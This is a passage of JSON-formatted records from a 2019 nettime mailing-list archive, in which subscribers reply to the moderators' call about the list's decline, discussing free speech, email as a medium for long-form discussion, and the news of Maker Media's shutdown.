                        "from": "\"Sascha D. Freudenheim\" <sascha@sascha.com>",
                        "content": "Thank you, Tomasz, for chiming in.\n\nYour definitions are interesting. But if we take them as a starting \npoint, I find myself still struggling to understand Frank's intended \nput-down, as well as his complaint. This list serves no real purpose \nbeyond a kind of digital entertainment at a virtual social gathering. \nI'm not dismissing it's value in that context, but as a group (however \nloosely constructed) we are not self-consciously engaged in the active \nprocess of \"changing\" anything except our own minds through dialogue. \n(Or not changing them, as is likely often the case.)\n\nSo, Frank, if that definition of bourgeois suits you, and if you agree \nwith Tomasz's framing on the connection to free speech, then why are you \nhere?\n\nFor those of us who do live in places where speech can create \ntrouble--and no doubt many of us do, and more of us may yet soon--then \nit would seem a gratuitous swipe at the speech they post here to dismiss \nit that way -- and to suggest that the moderators are ill-equipped to \nmanage it or understand it in that context.\n\nAs for my \"feeding\" habits, indeed, quite right. If anything my media \nintake is polymorphously perverse.\n\nSascha\n\n\nOn 6/7/19 3:07 PM, Tomasz Rola wrote:\nOn Fri, Jun 07, 2019 at 01:18:23PM -0400, Sascha D. Freudenheim wrote:\nI resemble that remark, and I object to it strenuously!\n\nWTF is a \"consistent bourgeois misunderstanding of contextless 'free\nspeech'\"? And what makes that misunderstanding \"bourgeois\" in\nnature?\n\nFor me, \"bourgeois\" is equivalent to \"middle class\", whatever this one\nmeans. In parts of the world where \"bourgeois\" constitutes a dictating\nmajority, \"free speech\" is, IMHO, equivalent to casual speech and is a\nway to entertain during social gatherings. In other places, this is a\nway to put oneself in a troublesome situation (with degree of\ntroublesome varying from ostracism to execution).\n\n[...]\nAs for the ideological monoculture... I don't know what to do about\nthat except go back to my list filtering and lurking.\n\nTo avoid ideological monoculture, per analogy to avoiding eating\nmonoculture, feed yourself from different sources.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                        "id": "00015",
                        "date": "Fri, 7 Jun 2019 17:49:37 -0400",
                        "to": "masz Rola <rtomek@ceti.pl>, nettime-l@mail.kein.org",
                        "message-id": "905d82fc&#45;c5a6&#45;0145&#45;2f05&#45;78b387014e94@sascha.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00015.html",
                        "content-type": "text/plai",
                        "author_name": "Sascha D. Freudenheim",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "from": "John Preston <wcerfgba@riseup.net>",
                        "content": "Each medium of communication has a different quality and bandwidth about\nit, and we can use a multitude of media -- nettime doesn't have to be\n/just/ a mailing list. Some of us might be better able to contribute via\nIRC or other more real-time media.\n\nJohn\n\nOn 2019-06-08 15:06, John Preston wrote:\n\n> Just forwarding this up.\n> \n> -------------------------\n> FROM: Karim Brohi <karim@trauma.org>\n> SENT: 8 June 2019 14:35:45 BST\n> TO: John Preston <wcerfgba@riseup.net>\n> SUBJECT: Re: <nettime> Nettime is in bad shape. Let's see if we can change it. \n> \n> Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now. \n> I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.  Back then email was cool.  Now, for most, email tends to be a flood of work stuff and a pseudo todo list.  Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit. \n> \n> But there's no other suitable medium either.  Social media platforms are too brief to develop ideas.  Too easy to fire back \"your idea is stupid\".  Blog posts and newsletters are too one-sided.  Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.  The post 'belongs' to the originator, not to the community. \n> \n> Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.  (Email alerts end up in... email). \n> \n> In brief - I think it's the medium not the message.  The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.  That was email, but now it isn't email.  I don't know what  is now. \n> \n> Karim \n> \n> On Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote: \n> Just adding my two cents, as per the call. :)\n> \n> I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful.\n> \n> The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :)\n> \n> John\n> \n> On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote: \n> \n> Nettime is in bad shape, don't you think?\n> \n> It has still a lot of goodwill, and more generally there's renewed\n> interest in formats of exchange and collective thinking that\n> aren't defined by the logic of social media. But the dynamics that\n> social media companies exploit are hardly limited to a handful of\n> platforms. For example, nettime has its own 'influencers' -- a 1%,\n> so to speak -- who generate the vast majority of list traffic.\n> That's been true for years. The discussions they sustain may\n> variously seem interesting or annoying, but either way they've\n> become somewhat formulaic. An attentive reader knows more or less\n> what to expect based solely the subject and the sender; and even\n> meta-discussions about whether the list is dominated or by this or\n> that tendency are largely dominated by the same few people.\n> \n> Some might argue the debates that have animated nettime over the\n> last year -- the trajectories of postwar society, neoliberalism,\n> the 'digital,' complexity, surveillance and big tech, Brexit,\n> media and elections, Assange, even the Anthropocene in all its\n> terrifying inclusiveness -- are the defining issues of the day.\n> Maybe so. But if the nettime project had settled for a consensus\n> model of the defining issues of the mid-'90s, it would never have\n> gotten off the ground, and it certainly wouldn't exist almost 25\n> years later. The challenge, we think, is to maintain a space that\n> attracts ill-defined ideas and uncertain issues -- things and\n> not-things that don't quite exist yet and yet haven't been buried\n> under torrents of authority and theory.\n> \n> So, what can we do?\n> \n> In the past, we've asked people to think about outreach -- say,\n> inviting new people from new contexts. It seems like that's had\n> limited success; but at a time when nettime has been limping\n> along, it's hard to get excited about inviting people to join an\n> environment so heavily defined by habit. We've also joked that\n> shutting it down before it fades into complete senescence might be\n> best. But that joke wasn't really funny, in part because it wasn't\n> meant to be: it was a way of expressing serious concerns about the\n> list's increasingly parochial status.\n> \n> Now, we have a simple proposal: let's switch roles.\n> \n> It goes like this:\n> \n> If you've posted more than others to the list in the last 60 or 90\n> or 120 or 180 days -- the math matters less than the spirit -- take\n> a break. Let others define nettime, a space made up of nearly 5000\n> subscribers.\n> \n> If you haven't posted to the list -- say, because it seemed like\n> your ideas, concerns, or whatever you want to share wouldn't fit\n> with nettime's habits -- maybe that will change.\n> \n> Think of it as an un-grand experiment: a way to see what else\n> might happen, who else might speak, what less familiar ideas,\n> perspectives, or styles might spring up. Maybe the list will fade\n> into silence, and we'll be left with a paradoxical object, a list\n> composed *entirely* of lurkers -- not such a bad non-end for\n> nettime. Or maybe not. There might be many ways to find out. For\n> now, rather than the 1% debating how narrowly to define good\n> manners, let's see if a different 'we' can change things.\n> \n> -- the mod squad (Ted and Felix)\n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                        "id": "00020",
                        "date": "Sat, 08 Jun 2019 07:45:08 -0700",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "f8f8006bb46447a36e1e1a7d5171fbda@riseup.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00020.html",
                        "content-type": "text/plai",
                        "author_name": "John Preston",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "from": "\"Tom Keene\" <tom@theanthillsocial.co.uk>",
                        "content": "Hi Ren\u00e9e,RE: I tend to make egregious typos & grammatical mistakes that I don't catch until it's about a week later.\n\nSame with me, i'm dyslexic and much prefer making and programming as a way to understand the world. On social media, particularly Twitter, I've learnt not to worry so much, though Nettime is a more intimidating space...\n\n Tom On Tue, 11 Jun 2019, at 6:20 AM, Ren\u00e9e Lynn Reizman wrote:Been a lurker on here for about 2 years. I am constantly thrilled by the names I see\n\n popping up on this listserv. Seems like there are many members on here who write or create things I admire. The conversations can be a bit intimidating sometimes, but mostly I avoid chiming in because I tend to make egregious typos & grammatical mistakes that I don't catch until it's about a week later.\n\nAnyways, just wanted to say hello!Ren\u00e9ehttp://www.reneereizman.comOn Sun, Jun 9, 2019 at 9:51 AM <nettime-l-request@mail.kein.org> wrote:Send nettime-l mailing list submissions to \n\n \n\n \n\n \n\n nettime-l@mail.kein.org  To subscribe or unsubscribe via the World Wide Web, visit \n\n \n\n \n\n \n\n http://mx.kein.org/mailman/listinfo/nettime-l or, via email, send a message with subject or body 'help' to \n\n \n\n \n\n \n\n nettime-l-request@mail.kein.org  You can reach the person managing the list at \n\n \n\n \n\n \n\n nettime-l-owner@mail.kein.org  When replying, please edit your Subject line so it is more specific than \"Re: Contents of nettime-l digest...\"   Today's Topics:  \n\n \n\n1. Re: Nettime is in bad shape. Let's see if we can change\n\n \n\nit. \n\n \n\n \n\n (voyd@voyd.com)   ----------------------------------------------------------------------  Message: 1 Date: Sun, 09 Jun 2019 12:47:10 -0400 From: voyd@voyd.com To: nettime-l@mail.kein.org Subject: Re: <nettime> Nettime is in bad shape. Let's see if we can \n\n \n\n \n\n \n\n change\n\n it. Message-ID: \n\n \n\n \n\n \n\n <1560098830.vqwx9ks2884g40c0@hostingemail.digitalspace.net\">1560098830.vqwx9ks2884g40c0@hostingemail.digitalspace.net> Content-Type: text/plain; charset=\"utf-8\"      Thanks, Sean and all for these salient replies. I have often been active here, but had been offline more than I like related to living in Arabia; some things you'd imagine, others not. More than anything else, I have been creating a VR research center and doing a snowstorm of paperwork. My intentions are to be here more, as my research is revving up again.  I value Nettime a great deal in that it remains one of the places where a high concentration of fine minds, whether they pop in or out like virtual particles int he cyber-aether, usually pop out clear thought.  Another thing is that for the past three years, I have been traveling into Central Asia, Married an Iranian, coming to know the Eastern Hemisphere, and seeing what Geert Lovink and I had long discussions on here in Abu Dhabi relating the slide of Krokerian Bimodernism to American global colonial war capitalism under the Plan for the New American Century to the collapse into spheres of influence with the rise of Trump.&nbsp; Actually a lot more than this, but the flood of understanding has taken a while to coalesce.  Looking forward to more conversation.   On Sat, 8 Jun 2019 15:21:58 +0000, Sean Cubitt\n\n wrote:      I've been active long ago, and lurking for a decade or more, with only sporadic comments and adds: this look like a good prod to get us silent majority out of the closet.  &nbsp;  the thing that keeps nettime valuable is a) the contributors,&nbsp;timeliness, and&nbsp;swift smart dialogues and b) that there still seems to be a common purpose.&nbsp;  &nbsp;  social media start taking the forefront about ten years ago. The neo-populist right begins to replace the neo-liberal right about ten years ago. Is there some shared diagram?&nbsp;  &nbsp;  Other lists died for their own reasons: one because it seemed like everything interesting was on blogs, back when the blogosphere was a thing. Another because a concept / art movement / political trajectory could be exhausted so fast it scarcely seemed worth inventing new concepts etc.&nbsp;  &nbsp;  Mailing lists are asynchronous, which is great: more time to think; less kudos for fast reaction times. More consideration in every sense of the word  &nbsp;  in a few days I'll try to post something closer than this reflection on the medium to what I think this list is for: the aesthetics,&nbsp;politics and&nbsp;aesthetic&nbsp;politics of the early C21st --&nbsp;consideration, wonder and hope  &nbsp;    Sean  &nbsp;  &nbsp;      From: nettime-l-bounces@mail.kein.org &lt;nettime-l-bounces@mail.kein.org&gt; on behalf of nettime-l-request@mail.kein.org &lt;nettime-l-request@mail.kein.org&gt; Sent: 08 June 2019 15:45 To: nettime-l@mail.kein.org Subject: nettime-l Digest, Vol 141, Issue 11  &nbsp;    Send nettime-l mailing list submissions to &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nettime-l@mail.kein.org  To subscribe or unsubscribe via the World Wide Web, visit &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n\n http://mx.kein.org/mailman/listinfo/nettime-l        \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n &nbsp;  \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n nettime-l Info Page - mx.kein.org  \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n mx.kein.org  \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n -- a moderated mailing list for net criticism &lt;nettime&gt; is not just a mailing list but an effort to formulate an international, networked discourse that neither promotes a dominant euphoria (to sell products) nor continues the cynical pessimism, spread by journalists and intellectuals in the 'old' media who generalize about 'new' media with no clear understanding of their communication aspects ...        or, via email, send a message with subject or body 'help' to &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nettime-l-request@mail.kein.org  You can reach the person managing the list at &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nettime-l-owner@mail.kein.org  When replying, please edit your Subject line so it is more specific than \"Re: Contents of nettime-l digest...\"   Today's Topics:  &nbsp;&nbsp; 1. Re: Nettime is in bad shape. Let's see if we can change&nbsp;&nbsp; it. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (John Preston) &nbsp;&nbsp; 2. The Maker Movement is abandoned by its corporate sponsors; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws in the towel (Bruce Sterling) &nbsp;&nbsp; 3. Re: Nettime is in bad shape. Let's see if we can change&nbsp;&nbsp; it. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (John Preston)   ----------------------------------------------------------------------  Message: 1 Date: Sat, 08 Jun 2019 15:06:56 +0100 From: John Preston &lt;wcerfgba@riseup.net&gt; To: nettime-l@mail.kein.org Subject: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; change&nbsp; it. Message-ID: &lt;07A59428-BF8F-419B-841A-EA06BDDB2B98@riseup.net&gt; Content-Type: text/plain; charset=\"utf-8\"  Just forwarding this up.   -------- Original Message -------- From: Karim Brohi &lt;karim@trauma.org&gt; Sent: 8 June 2019 14:35:45 BST To: John Preston &lt;wcerfgba@riseup.net&gt; Subject: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can change it.  Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now. I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.&nbsp; Back then email was cool.&nbsp; Now, for most, email tends to be a flood of work stuff and a pseudo todo list. Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit.  But there's no other suitable medium either.&nbsp; Social media platforms are too brief to develop ideas.&nbsp; Too easy to fire back \"your idea is stupid\". Blog posts and newsletters are too one-sided.&nbsp; Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.&nbsp; The post 'belongs' to the originator, not to the community.  Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.&nbsp; (Email alerts end up in... email).  In brief - I think it's the medium not the message.&nbsp; The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.&nbsp; That was email, but now it isn't email.&nbsp; I don't know what&nbsp; is now.  Karim      On Fri, 7 Jun 2019 at 21:34, John Preston &lt;wcerfgba@riseup.net&gt; wrote:  &gt; Just adding my two cents, as per the call. :) &gt; &gt; I only discovered nettime in the last few months. I'm a computer-child, &gt; I've grown up on the net, and one of the people who now take a more &gt; conservative or critical approach to tech. I came here because I am trying &gt; to develop as an artist, working with the net as a medium and reflecting &gt; critically on the net and its constituent parts. I don't post in to every &gt; thread because a lot of the time I don't have anything worthwhile to add, &gt; but I appreciate reading: most of the contributions on this list are really &gt; insightful. &gt; &gt; The fact that people are posting meta threads like this is a good sign to &gt; me, I appreciate a community that can take a critical view of itself. If &gt; nettime does rap up, let me know where you all go, I'd like to talk more. :) &gt; &gt; John &gt; &gt; On 7 June 2019 18:38:46 BST, nettime mod squad &lt;nettime@kein.org&gt; wrote: &gt;&gt; &gt;&gt; Nettime is in bad shape, don't you think? &gt;&gt; &gt;&gt; It has still a lot of goodwill, and more generally there's renewed &gt;&gt; interest in formats of exchange and collective thinking that &gt;&gt; aren't defined by the logic of social media. But the dynamics that &gt;&gt; social media companies exploit are hardly limited to a handful of &gt;&gt; platforms. For example, nettime has its own 'influencers' -- a 1%, &gt;&gt; so to speak -- who generate the vast majority of list traffic. &gt;&gt; That's been true for years. The discussions they sustain may &gt;&gt; variously seem interesting or annoying, but either way they've &gt;&gt; become somewhat formulaic. An attentive reader knows more or less &gt;&gt; what to expect based solely the subject and the sender; and even &gt;&gt; meta-discussions about whether the list is dominated or by this or &gt;&gt; that tendency are largely dominated by the same few people. &gt;&gt; &gt;&gt; Some might argue the debates that have animated nettime over the &gt;&gt; last year -- the trajectories of postwar society, neoliberalism, &gt;&gt; the 'digital,' complexity, surveillance and big tech, Brexit, &gt;&gt; media and elections, Assange, even the Anthropocene in all its &gt;&gt; terrifying inclusiveness -- are the defining issues of the day. &gt;&gt; Maybe so. But if the nettime project had settled for a consensus &gt;&gt; model of the defining issues of the mid-'90s, it would never have &gt;&gt; gotten off the ground, and it certainly wouldn't exist almost 25 &gt;&gt; years later. The challenge, we think, is to maintain a space that &gt;&gt; attracts ill-defined ideas and uncertain issues -- things and &gt;&gt; not-things that don't quite exist yet and yet haven't been buried &gt;&gt; under torrents of authority and theory. &gt;&gt; &gt;&gt; So, what can we do? &gt;&gt; &gt;&gt; In the past, we've asked people to think about outreach -- say, &gt;&gt; inviting new people from new contexts. It seems like that's had &gt;&gt; limited success; but at a time when nettime has been limping &gt;&gt; along, it's hard to get excited about inviting people to join an &gt;&gt; environment so heavily defined by habit. We've also joked that &gt;&gt; shutting it down before it fades into complete senescence might be &gt;&gt; best. But that joke wasn't really funny, in part because it wasn't &gt;&gt; meant to be: it was a way of expressing serious concerns about the &gt;&gt; list's increasingly parochial status. &gt;&gt; &gt;&gt; Now, we have a simple proposal: let's switch roles. &gt;&gt; &gt;&gt; It goes like this: &gt;&gt; &gt;&gt; If you've posted more than others to the list in the last 60 or 90 &gt;&gt; or 120 or 180 days -- the math matters less than the spirit -- take &gt;&gt; a break. Let others define nettime, a space made up of nearly 5000 &gt;&gt; subscribers. &gt;&gt; &gt;&gt; If you haven't posted to the list -- say, because it seemed like &gt;&gt; your ideas, concerns, or whatever you want to share wouldn't fit &gt;&gt; with nettime's habits -- maybe that will change. &gt;&gt; &gt;&gt; Think of it as an un-grand experiment: a way to see what else &gt;&gt; might happen, who else might speak, what less familiar ideas, &gt;&gt; perspectives, or styles might spring up. Maybe the list will fade &gt;&gt; into silence, and we'll be left with a paradoxical object, a list &gt;&gt; composed *entirely* of lurkers -- not such a bad non-end for &gt;&gt; nettime. Or maybe not. There might be many ways to find out. For &gt;&gt; now, rather than the 1% debating how narrowly to define good &gt;&gt; manners, let's see if a different 'we' can change things. &gt;&gt; &gt;&gt; &gt;&gt; -- the mod squad (Ted and Felix) &gt;&gt; &gt;&gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission &gt;&gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, &gt;&gt; #&nbsp; collaborative text filtering and cultural politics of the nets &gt;&gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l &gt;&gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org &gt;&gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject: &gt;&gt; &gt;&gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission &gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, &gt; #&nbsp; collaborative text filtering and cultural politics of the nets &gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l &gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org &gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject: -------------- next part -------------- An HTML attachment was scrubbed... URL: &lt;http://mx.kein.org/pipermail/nettime-l/attachments/20190608/490390ed/attachment-0001.html&gt;  ------------------------------  Message: 2 Date: Sat, 8 Jun 2019 16:21:37 +0200 From: Bruce Sterling &lt;bruces@well.com&gt; To: nettime-l@kein.org Subject: &lt;nettime&gt; The Maker Movement is abandoned by its corporate &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sponsors; throws in the towel Message-ID: &lt;A342CE24-4F26-441E-BDBE-38F833458B29@well.com&gt; Content-Type: text/plain;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; charset=utf-8  *Well, so much for the O?Reilly Web 2.0 version of popular mechanics.&nbsp; Fifteen years is not too bad a run by the standards of an increasingly jittery California Ideology.&nbsp; Now what? ? Bruce S   Maker Media goes broke https://hackaday.com/2019/06/07/maker-media-ceases-operations/  Over the years we?ve had the dubious honor of bidding farewell to numerous companies that held a special place in the hearts of hackers and makers. We?ve borne witness to the demise of Radio Shack, TechShop, and PrintrBot, and even shed a tear or two when Toys ?R? Us shut their doors. But as much as it hurt to see those companies go, nothing quite compares to this. Today we?ve learned that Maker Media has ceased operations.  Between the first issue of Make magazine in 2005 and the inaugural Maker Faire a year later, Maker Media deftly cultured the public face of the ?maker movement? for over a decade. They didn?t create maker culture, but there?s no question that they put a spotlight on this part of the larger tech world. In fact, it?s not an exaggeration to say that the shuttering of Maker Media could have far reaching consequences that we won?t fully understand for years.  While this news will surely come as a crushing blow to many in the community, Maker Media founder and CEO Dale Dougherty says they?re still trying to put the pieces together. ?I started the magazine and I?m committed to keeping that going because it means something to a lot of people and means something to me.? At this point, Dale tells us that Maker Media is officially in a state of insolvency. This is an important distinction, and means that the company still has a chance to right the ship before being forced to declare outright bankruptcy.  In layman?s terms, the fate of Make magazine and Maker Faire is currently uncertain?  ***  https://techcrunch.com/2019/06/07/make-magazine-maker-media-layoffs/  Financial troubles have forced Maker Media, the company behind crafting publication MAKE: magazine as well as the science and art festival Maker Faire, to lay off its entire staff of 22 and pause all operations. TechCrunch was tipped off to Maker Media?s unfortunate situation which was then confirmed by the company?s founder and CEO Dale Dougherty.  For 15 years, MAKE: guided adults and children through step-by-step do-it-yourself crafting and science projects, and it was central to the maker movement. Since 2006, Maker Faire?s 200 owned and licensed events per year in over 40 countries let attendees wander amidst giant, inspiring art and engineering installations?.  ?Maker Media Inc ceased operations this week and let go of all of its employees ? about 22 employees? Dougherty tells TechCrunch. ?I started this 15 years ago and it?s always been a struggle as a business to make this work. Print publishing is not a great business for anybody, but it works?barely. Events are hard ? there was a drop off in corporate sponsorship.? Microsoft and Autodesk failed to sponsor this year?s flagship Bay Area Maker Faire?.    ------------------------------  Message: 3 Date: Sat, 08 Jun 2019 07:45:08 -0700 From: John Preston &lt;wcerfgba@riseup.net&gt; To: nettime-l@mail.kein.org Subject: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; change&nbsp; it. Message-ID: &lt;f8f8006bb46447a36e1e1a7d5171fbda@riseup.net&gt; Content-Type: text/plain; charset=US-ASCII  Each medium of communication has a different quality and bandwidth about it, and we can use a multitude of media -- nettime doesn't have to be /just/ a mailing list. Some of us might be better able to contribute via IRC or other more real-time media.  John  On 2019-06-08 15:06, John Preston wrote:  &gt; Just forwarding this up. &gt; &gt; ------------------------- &gt; FROM: Karim Brohi &lt;karim@trauma.org&gt; &gt; SENT: 8 June 2019 14:35:45 BST &gt; TO: John Preston &lt;wcerfgba@riseup.net&gt; &gt; SUBJECT: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can change it. &gt; &gt; Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now. &gt; I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.&nbsp; Back then email was cool.&nbsp; Now, for most, email tends to be a flood of work stuff and a pseudo todo list.&nbsp; Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit. &gt; &gt; But there's no other suitable medium either.&nbsp; Social media platforms are too brief to develop ideas.&nbsp; Too easy to fire back \"your idea is stupid\".&nbsp; Blog posts and newsletters are too one-sided.&nbsp; Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.&nbsp; The post 'belongs' to the originator, not to the community. &gt; &gt; Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.&nbsp; (Email alerts end up in... email). &gt; &gt; In brief - I think it's the medium not the message.&nbsp; The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.&nbsp; That was email, but now it isn't email.&nbsp; I don't know what&nbsp; is now. &gt; &gt; Karim &gt; &gt; On Fri, 7 Jun 2019 at 21:34, John Preston &lt;wcerfgba@riseup.net&gt; wrote: &gt; Just adding my two cents, as per the call. :) &gt; &gt; I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful. &gt; &gt; The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :) &gt; &gt; John &gt; &gt; On 7 June 2019 18:38:46 BST, nettime mod squad &lt;nettime@kein.org&gt; wrote: &gt; &gt; Nettime is in bad shape, don't you think? &gt; &gt; It has still a lot of goodwill, and more generally there's renewed &gt; interest in formats of exchange and collective thinking that &gt; aren't defined by the logic of social media. But the dynamics that &gt; social media companies exploit are hardly limited to a handful of &gt; platforms. For example, nettime has its own 'influencers' -- a 1%, &gt; so to speak -- who generate the vast majority of list traffic. &gt; That's been true for years. The discussions they sustain may &gt; variously seem interesting or annoying, but either way they've &gt; become somewhat formulaic. An attentive reader knows more or less &gt; what to expect based solely the subject and the sender; and even &gt; meta-discussions about whether the list is dominated or by this or &gt; that tendency are largely dominated by the same few people. &gt; &gt; Some might argue the debates that have animated nettime over the &gt; last year -- the trajectories of postwar society, neoliberalism, &gt; the 'digital,' complexity, surveillance and big tech, Brexit, &gt; media and elections, Assange, even the Anthropocene in all its &gt; terrifying inclusiveness -- are the defining issues of the day. &gt; Maybe so. But if the nettime project had settled for a consensus &gt; model of the defining issues of the mid-'90s, it would never have &gt; gotten off the ground, and it certainly wouldn't exist almost 25 &gt; years later. The challenge, we think, is to maintain a space that &gt; attracts ill-defined ideas and uncertain issues -- things and &gt; not-things that don't quite exist yet and yet haven't been buried &gt; under torrents of authority and theory. &gt; &gt; So, what can we do? &gt; &gt; In the past, we've asked people to think about outreach -- say, &gt; inviting new people from new contexts. It seems like that's had &gt; limited success; but at a time when nettime has been limping &gt; along, it's hard to get excited about inviting people to join an &gt; environment so heavily defined by habit. We've also joked that &gt; shutting it down before it fades into complete senescence might be &gt; best. But that joke wasn't really funny, in part because it wasn't &gt; meant to be: it was a way of expressing serious concerns about the &gt; list's increasingly parochial status. &gt; &gt; Now, we have a simple proposal: let's switch roles. &gt; &gt; It goes like this: &gt; &gt; If you've posted more than others to the list in the last 60 or 90 &gt; or 120 or 180 days -- the math matters less than the spirit -- take &gt; a break. Let others define nettime, a space made up of nearly 5000 &gt; subscribers. &gt; &gt; If you haven't posted to the list -- say, because it seemed like &gt; your ideas, concerns, or whatever you want to share wouldn't fit &gt; with nettime's habits -- maybe that will change. &gt; &gt; Think of it as an un-grand experiment: a way to see what else &gt; might happen, who else might speak, what less familiar ideas, &gt; perspectives, or styles might spring up. Maybe the list will fade &gt; into silence, and we'll be left with a paradoxical object, a list &gt; composed *entirely* of lurkers -- not such a bad non-end for &gt; nettime. Or maybe not. There might be many ways to find out. For &gt; now, rather than the 1% debating how narrowly to define good &gt; manners, let's see if a different 'we' can change things. &gt; &gt; -- the mod squad (Ted and Felix) &gt; &gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission &gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, &gt; #&nbsp; collaborative text filtering and cultural politics of the nets &gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l &gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org &gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject: &gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission &gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, &gt; #&nbsp; collaborative text filtering and cultural politics of the nets 